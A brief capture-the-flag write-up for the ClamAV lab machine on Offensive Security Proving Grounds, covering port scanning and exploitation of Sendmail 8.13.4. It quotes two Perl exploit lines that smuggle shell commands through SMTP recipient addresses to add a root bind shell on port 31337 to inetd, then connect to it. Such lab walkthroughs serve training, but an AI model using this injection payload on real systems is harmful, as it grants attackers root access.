Writeup for ClamAV from Offensive Security Proving Grounds (PG)
nmapAutomator.sh -H 192.168.66.42 -t full
nmapAutomator.sh -H 192.168.66.42 -t vulns
There is a page with a binary message.
We can see that Sendmail 8.13.4 is used.
We find the following Sendmail + ClamAV RCE exploit:
The two lines in the Perl script:
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
appear to open port 31337 as a root shell.
After running the script, the port is indeed open.
Upon connecting to the bind shell, use
bash -ito upgrade to a fully interactive shell.